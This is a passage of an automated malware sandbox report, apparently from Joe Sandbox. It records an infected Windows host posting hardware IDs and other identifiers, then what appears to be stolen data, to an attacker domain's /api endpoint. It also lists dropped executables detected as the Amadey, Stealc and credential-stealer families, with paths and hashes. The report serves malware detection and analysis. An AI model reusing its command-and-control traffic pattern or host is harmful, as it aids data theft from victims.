2024-11-01 11:15:47 UTC	1369	IN	Data Raw: 6d 63 68 4a 38 77 74 4f 38 58 56 36 79 71 43 72 33 6a 6e 35 55 42 61 38 66 73 53 4e 49 34 47 59 44 44 53 62 6f 6a 71 38 35 63 70 70 48 4b 79 48 47 38 36 52 35 62 70 4b 67 46 76 71 6e 59 33 67 70 34 67 37 67 42 2b 42 6b 74 78 2b 64 79 2f 6a 44 76 30 52 2b 69 6b 6f 57 66 4f 66 43 6b 55 6c 53 7a 37 6c 54 79 68 73 62 65 43 48 58 48 71 30 62 6b 58 79 76 4f 6f 69 75 36 4d 4f 7a 52 47 71 53 52 69 35 59 35 74 65 49 57 55 71 32 6f 44 37 32 6e 31 4e 51 4a 64 34 75 36 41 76 77 65 49 4d 6e 74 65 50 39 38 71 35 63 62 75 64 33 53 30 41 43 7a 2f 41 56 44 70 2b 34 54 2f 4c 71 52 30 67 6f 7a 33 2f 51 4a 37 78 55 6d 7a 4f 64 38 2f 7a 2f 71 30 42 47 6e 6b 59 43 5a 4f 62 62 6c 47 30 47 6f 6f 67 4b 31 72 64 33 62 43 33 6d 45 75 55 69 7a 58 79 76 61 6f 69 75 36 45 4f 4c 61 4d Data Ascii: mchJ8wtO8XV6yqCr3jn5UBa8fsSNI4GYDDSbojq85cppHKyHG86R5bpKgFvqnY3gp4g7gB+Bktx+dy/jDv0R+ikoWfOfCkUlSz7lTyhsbeCHXHq0bkXyvOoiu6MOzRGqSRi5Y5teIWUq2oD72n1NQJd4u6AvweIMnteP98q5cbud3S0ACz/AVDp+4T/LqR0goz3/QJ7xUmzOd8/z/q0BGnkYCZObblG0GoogK1rd3bC3mEuUizXyvaoiu6EOLaM
2024-11-01 11:15:47 UTC	1369	IN	Data Raw: 43 4e 4b 4c 34 55 68 33 72 71 52 54 79 2b 35 48 6a 41 57 4f 58 74 30 72 4d 43 53 2f 55 36 58 37 32 66 50 71 5a 42 65 47 61 68 74 42 70 38 4f 77 64 57 71 69 68 44 62 75 76 33 4e 41 50 64 6f 61 79 44 50 63 56 4c 4d 54 6b 63 76 38 32 35 74 59 57 71 4a 71 43 6c 7a 4b 69 71 6c 77 54 72 4c 5a 4d 36 75 50 34 30 68 52 39 6c 2f 51 58 73 77 5a 73 78 65 34 7a 6f 6e 7a 68 33 52 4f 6c 6d 6f 61 57 4e 4c 62 6e 45 31 79 71 72 67 4f 32 71 4e 6a 54 42 33 36 43 75 51 7a 76 46 53 66 4e 37 6e 72 32 4d 61 57 5a 58 4b 61 46 79 73 68 78 67 65 63 63 58 61 79 34 54 4b 33 74 79 4a 55 42 66 38 66 73 53 50 77 54 49 38 48 74 63 50 6b 39 37 38 55 4f 72 5a 53 43 6c 54 32 37 35 42 52 42 72 61 45 46 73 61 44 59 30 67 35 2f 6a 62 63 50 76 56 46 73 78 66 6f 7a 6f 6e 7a 47 77 41 79 73 33 5a Data Ascii: CNKL4Uh3rqRTy+5HjAWOXt0rMCS/U6X72fPqZBeGahtBp8OwdWqihDbuv3NAPdoayDPcVLMTkcv825tYWqJqClzKiqlwTrLZM6uP40hR9l/QXswZsxe4zonzh3ROlmoaWNLbnE1yqrgO2qNjTB36CuQzvFSfN7nr2MaWZXKaFyshxgeccXay4TK3tyJUBf8fsSPwTI8HtcPk978UOrZSClT275BRBraEFsaDY0g5/jbcPvVFsxfozonzGwAys3Z
2024-11-01 11:15:47 UTC	1369	IN	Data Raw: 37 42 74 56 72 4b 67 43 6f 4b 62 58 32 67 6c 36 6a 72 41 41 2f 68 38 6f 78 75 56 32 2b 54 44 75 30 42 2b 75 6d 59 4f 65 4f 4c 2b 71 58 42 4f 73 74 6b 7a 71 34 2f 44 4f 42 58 2b 4b 39 42 65 7a 42 6d 7a 46 37 6a 4f 69 66 4f 6e 5a 47 61 47 58 6a 4a 51 30 74 75 41 58 55 36 43 74 41 37 61 6c 31 64 6f 47 65 49 36 31 44 76 67 56 4a 38 54 76 63 50 77 36 70 5a 6c 63 70 6f 58 4b 79 48 47 51 38 52 39 66 72 4f 34 54 2f 4c 71 52 30 67 6f 7a 33 2f 51 44 38 52 73 72 77 75 39 77 38 6a 6e 68 33 52 6d 68 6c 5a 69 59 4d 62 66 34 41 46 4f 69 71 77 43 78 6f 39 58 54 44 33 57 45 73 45 69 7a 58 79 76 61 6f 69 75 36 45 65 6e 51 4e 61 61 47 79 6f 39 2f 71 61 6f 56 58 2b 76 32 54 4c 4f 6f 32 39 6f 4c 63 49 47 33 41 2f 67 56 4c 63 58 71 66 75 67 2f 36 74 67 59 6f 5a 4b 4d 6c 6a 43 Data Ascii: 7BtVrKgCoKbX2gl6jrAA/h8oxuV2+TDu0B+umYOeOL+qXBOstkzq4/DOBX+K9BezBmzF7jOifOnZGaGXjJQ0tuAXU6CtA7al1doGeI61DvgVJ8TvcPw6pZlcpoXKyHGQ8R9frO4T/LqR0goz3/QD8Rsrwu9w8jnh3RmhlZiYMbf4AFOiqwCxo9XTD3WEsEizXyvaoiu6EenQNaaGyo9/qaoVX+v2TLOo29oLcIG3A/gVLcXqfug/6tgYoZKMljC
2024-11-01 11:15:47 UTC	365	IN	Data Raw: 61 32 74 47 72 48 6b 37 2b 73 68 5a 59 32 7a 47 50 6f 49 49 34 4b 73 4d 2f 56 38 76 65 35 63 71 4a 71 52 67 53 65 39 2b 68 55 54 6c 4f 42 4d 71 75 4f 4a 6c 54 4e 77 69 62 6f 50 36 77 35 68 35 66 52 35 2f 53 7a 69 77 42 50 68 30 38 71 57 63 65 69 35 58 42 4f 76 76 30 7a 71 38 34 4f 4f 55 79 44 51 35 46 72 69 55 54 57 43 39 44 4f 69 62 71 75 58 44 75 48 46 79 74 63 79 6f 76 67 55 55 4c 32 74 53 34 79 64 39 73 38 4c 64 5a 43 6c 4e 73 4d 59 4e 73 2f 6b 5a 4f 74 77 38 4e 51 53 72 35 71 63 30 48 2f 77 35 56 49 4c 6b 75 35 45 38 70 79 66 6c 52 34 7a 33 2f 51 39 2f 68 45 69 78 66 52 69 74 78 76 2f 32 68 71 32 6a 4d 72 65 63 62 61 71 53 67 50 6c 37 67 69 6a 34 34 6d 46 56 43 6a 53 35 31 2b 74 54 54 4f 4d 2b 7a 50 73 66 4c 32 46 55 75 47 50 79 73 68 78 39 2b 6b 41 Data Ascii: a2tGrHk7+shZY2zGPoII4KsM/V8ve5cqJqRgSe9+hUTlOBMquOJlTNwiboP6w5h5fR5/SziwBPh08qWcei5XBOvv0zq84OOUyDQ5FriUTWC9DOibquXDuHFytcyovgUUL2tS4yd9s8LdZClNsMYNs/kZOtw8NQSr5qc0H/w5VILku5E8pyflR4z3/Q9/hEixfRitxv/2hq2jMrecbaqSgPl7gij44mFVCjS51+tTTOM+zPsfL2FUuGPyshx9+kA
2024-11-01 11:15:47 UTC	1369	IN	Data Raw: 31 30 34 34 0d 0a 6f 69 75 6f 63 71 58 46 58 50 6e 64 7a 5a 4d 6a 6f 75 77 52 52 61 6a 70 4d 6f 79 67 78 39 67 4a 65 49 61 4b 4e 74 4d 53 4c 63 48 73 4d 63 73 71 36 4d 63 66 70 4a 71 30 72 6a 2b 33 2f 68 56 64 72 61 35 4d 2f 4f 50 65 6c 56 35 4b 78 2f 78 49 77 6c 46 73 32 71 49 72 75 67 6e 6d 32 52 4b 6d 69 35 76 64 45 71 62 6e 48 56 69 71 37 6b 4c 79 70 5a 47 4e 56 6a 33 48 73 42 6d 39 52 33 79 51 75 53 61 70 61 37 57 46 41 2b 2b 45 79 6f 5a 78 36 4c 68 63 45 37 6e 75 56 50 4c 6b 33 39 67 48 63 49 6d 33 47 75 38 5a 4c 39 54 68 4e 4d 51 43 78 4e 6f 58 72 5a 43 46 6d 77 2b 4f 79 78 39 59 70 36 4d 44 75 5a 33 76 77 41 56 39 69 62 4d 65 37 46 39 69 67 75 30 7a 6f 67 57 6c 6e 31 79 65 30 38 71 49 63 65 69 71 4a 31 43 6c 6f 41 75 6b 73 70 7a 30 43 33 69 4c 75 Data Ascii: 1044oiuocqXFXPndzZMjouwRRajpMoygx9gJeIaKNtMSLcHsMcsq6McfpJq0rj+3/hVdra5M/OPelV5Kx/xIwlFs2qIrugnm2RKmi5vdEqbnHViq7kLypZGNVj3HsBm9R3yQuSapa7WFA++EyoZx6LhcE7nuVPLk39gHcIm3Gu8ZL9ThNMQCxNoXrZCFmw+Oyx9Yp6MDuZ3vwAV9ibMe7F9igu0zogWln1ye08qIceiqJ1CloAukspz0C3iLu
2024-11-01 11:15:47 UTC	1369	IN	Data Raw: 76 30 50 42 31 2b 53 72 6d 6b 43 4b 66 75 4a 32 54 49 62 62 70 4c 47 32 41 6f 67 71 31 75 64 62 54 49 46 50 48 2b 6b 6a 79 58 33 54 37 6f 6a 75 36 41 36 75 58 42 4f 48 46 79 71 55 79 76 75 51 56 52 62 72 6a 4b 61 57 67 77 64 4d 46 4d 38 6e 30 44 72 31 48 66 49 79 69 64 2b 74 38 76 59 64 4f 2b 73 6a 5a 78 32 48 69 39 56 78 4b 36 37 68 4d 36 76 47 66 6c 52 51 7a 33 2f 52 50 2f 67 30 2b 78 4f 46 6c 2b 58 76 62 36 54 71 69 6a 49 43 78 50 4b 44 74 4c 47 32 2b 72 51 4b 38 70 4d 66 45 52 6a 33 48 75 30 69 6c 4a 6d 79 4b 72 6e 58 35 4b 71 58 6f 55 75 47 46 79 73 68 78 68 65 6b 63 58 61 79 34 48 66 2b 46 30 73 51 4d 55 6f 71 6b 44 37 31 52 62 4d 53 69 4b 36 6c 79 70 64 4d 4e 34 63 58 61 77 6d 72 6c 75 55 55 44 2b 62 46 43 71 2b 50 48 6c 56 34 68 79 66 51 61 76 55 Data Ascii: v0PB1+SrmkCKfuJ2TIbbpLG2Aogq1udbTIFPH+kjyX3T7oju6A6uXBOHFyqUyvuQVRbrjKaWgwdMFM8n0Dr1HfIyid+t8vYdO+sjZx2Hi9VxK67hM6vGflRQz3/RP/g0+xOFl+Xvb6TqijICxPKDtLG2+rQK8pMfERj3Hu0ilJmyKrnX5KqXoUuGFyshxhekcXay4Hf+F0sQMUoqkD71RbMSiK6lypdMN4cXawmrluUUD+bFCq+PHlV4hyfQavU

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.7	50032	188.114.97.3	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 11:15:48 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12849 Host: necklacedmny.store
2024-11-01 11:15:48 UTC	12849	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 34 41 38 37 31 35 44 33 46 39 33 39 42 44 34 39 46 43 30 36 41 33 37 45 38 44 34 31 32 45 36 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"D4A8715D3F939BD49FC06A37E8D412E6--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-11-01 11:15:49 UTC	1025	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 11:15:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=mplh24luamt8svavbhnt8du9bm; expires=Tue, 25-Feb-2025 05:02:27 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9HEmbQbGs9jNt3Z0n5n2q2%2FkU5bzaFRRzMNBbRQ%2FWtMyQ%2FDERlHR%2B81KyX6kW%2FKXTrD6FKbKTnMJ%2BwiXJeVyGKSkfBbbDW3KbRwVthPLFPXCBnogpzrDIee0WOi1H8O2%2F7Pp8N8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dbb7814c8a1e5a9-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1193&sent=10&recv=19&lost=0&retrans=0&sent_bytes=2844&recv_bytes=13791&delivery_rate=2393388&cwnd=240&unsent_bytes=0&cid=a7d8fc68c83194c1&ts=573&x=0"
2024-11-01 11:15:49 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 32 0d 0a Data Ascii: 11ok 173.254.250.82
2024-11-01 11:15:49 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.7	50033	188.114.97.3	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 11:15:49 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15081 Host: necklacedmny.store
2024-11-01 11:15:49 UTC	15081	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 34 41 38 37 31 35 44 33 46 39 33 39 42 44 34 39 46 43 30 36 41 33 37 45 38 44 34 31 32 45 36 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"D4A8715D3F939BD49FC06A37E8D412E6--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-11-01 11:15:50 UTC	1020	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 11:15:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=opaqs8trj764nfsmmi5jtg7efl; expires=Tue, 25-Feb-2025 05:02:29 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=D4lPHpGB31CqCJlqJi3pnQOuJap6TAalQ72QUo3WfKjtPEPBYB%2B%2BTv%2Bly7f6M7oiRpffvsQd2XOlDNXUJRzSA9ids6ZLjqglmyqqOnFiz2JdfSt2%2BIwDyPAX3WfKbRjMPDu%2By1s%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dbb781c387ee82b-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1126&sent=8&recv=19&lost=0&retrans=0&sent_bytes=2844&recv_bytes=16023&delivery_rate=2516072&cwnd=250&unsent_bytes=0&cid=b54f9241dc8309bf&ts=544&x=0"
2024-11-01 11:15:50 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 32 0d 0a Data Ascii: 11ok 173.254.250.82
2024-11-01 11:15:50 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.7	50034	188.114.97.3	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 11:15:50 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20406 Host: necklacedmny.store
2024-11-01 11:15:50 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 34 41 38 37 31 35 44 33 46 39 33 39 42 44 34 39 46 43 30 36 41 33 37 45 38 44 34 31 32 45 36 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"D4A8715D3F939BD49FC06A37E8D412E6--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-11-01 11:15:50 UTC	5075	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b6 b9 fe 28 58 da f6 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 36 d7 17 05 4b db 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e6 fa a3 60 69 db 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 db 5c 5f 14 2c 6d fb 69 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 9b eb 8f 82 a5 6d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 73 7d 51 b0 b4 ed a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 6d Data Ascii: (X6K~`iO\_,mi`m?ls}Qm

Target ID:	0
Start time:	07:13:04
Start date:	01/11/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x3d0000
File size:	2'937'856 bytes
MD5 hash:	EA1B8BAFCB99BC660562BCB5F4CB63F3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	08:15:02
Start date:	01/11/2024
Path:	C:\Users\user\AppData\Local\Temp\UOZM77Y2O77YBMEWY4B8DEDXRXA.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\UOZM77Y2O77YBMEWY4B8DEDXRXA.exe"
Imagebase:	0xbb0000
File size:	2'787'328 bytes
MD5 hash:	6989522DFAD3FB3983E6A357C5D32447
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	08:15:05
Start date:	01/11/2024
Path:	C:\Users\user\AppData\Local\Temp\SU4Z0W976Y8CJ3Z4HHN.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\SU4Z0W976Y8CJ3Z4HHN.exe"
Imagebase:	0xac0000
File size:	1'884'672 bytes
MD5 hash:	36F337DF5AF6FC1D820E0F111A73C352
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000B.00000003.1547185518.00000000052E0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000B.00000002.1633975224.0000000000AC1000.00000040.00000001.01000000.00000008.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	08:15:12
Start date:	01/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0xf50000
File size:	1'884'672 bytes
MD5 hash:	36F337DF5AF6FC1D820E0F111A73C352
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000C.00000002.1674157264.0000000000F51000.00000040.00000001.01000000.0000000C.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000C.00000003.1633536068.0000000004FF0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	08:16:00
Start date:	01/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0xf50000
File size:	1'884'672 bytes
MD5 hash:	36F337DF5AF6FC1D820E0F111A73C352
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000010.00000003.2104275419.0000000004C60000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000010.00000002.2525480589.0000000000F51000.00000040.00000001.01000000.0000000C.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	18
Start time:	08:16:12
Start date:	01/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\1003156001\6c1c4a36e1.exe"
Imagebase:	0x2c0000
File size:	2'937'856 bytes
MD5 hash:	EA1B8BAFCB99BC660562BCB5F4CB63F3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000012.00000003.2305295015.0000000001488000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000012.00000003.2284213828.00000000014A4000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000012.00000003.2283516905.00000000014A4000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000012.00000003.2269185337.00000000014A3000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000012.00000003.2301693773.0000000001496000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000012.00000003.2321077874.0000000001488000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000012.00000003.2283723837.00000000014A4000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000012.00000003.2302606153.0000000001488000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000012.00000003.2302114944.0000000001488000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000012.00000003.2301693773.0000000001488000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000012.00000003.2268831971.000000000148E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000012.00000003.2285702611.00000000014A4000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000012.00000003.2285577921.00000000014A4000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000012.00000003.2301992419.0000000001496000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000012.00000003.2321024106.0000000001495000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 47%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	19
Start time:	08:16:18
Start date:	01/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1003157001\4b41d9dd20.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\1003157001\4b41d9dd20.exe"
Imagebase:	0xa30000
File size:	2'126'336 bytes
MD5 hash:	E71C5AEE12EE323FC4F40010437D4186
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000013.00000003.2271033754.0000000005380000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000013.00000002.2314305841.00000000018EC000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000013.00000002.2312440021.0000000000A31000.00000040.00000001.01000000.0000000F.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 42%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	08:16:23
Start date:	01/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1003158001\9af14a3c40.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\1003158001\9af14a3c40.exe"
Imagebase:	0x410000
File size:	919'552 bytes
MD5 hash:	47E53A1655BB6D29868F5A784F62177D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialFlusher, Description: Yara detected Credential Flusher, Source: 00000014.00000003.2379592196.00000000017FF000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 47%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	08:16:23
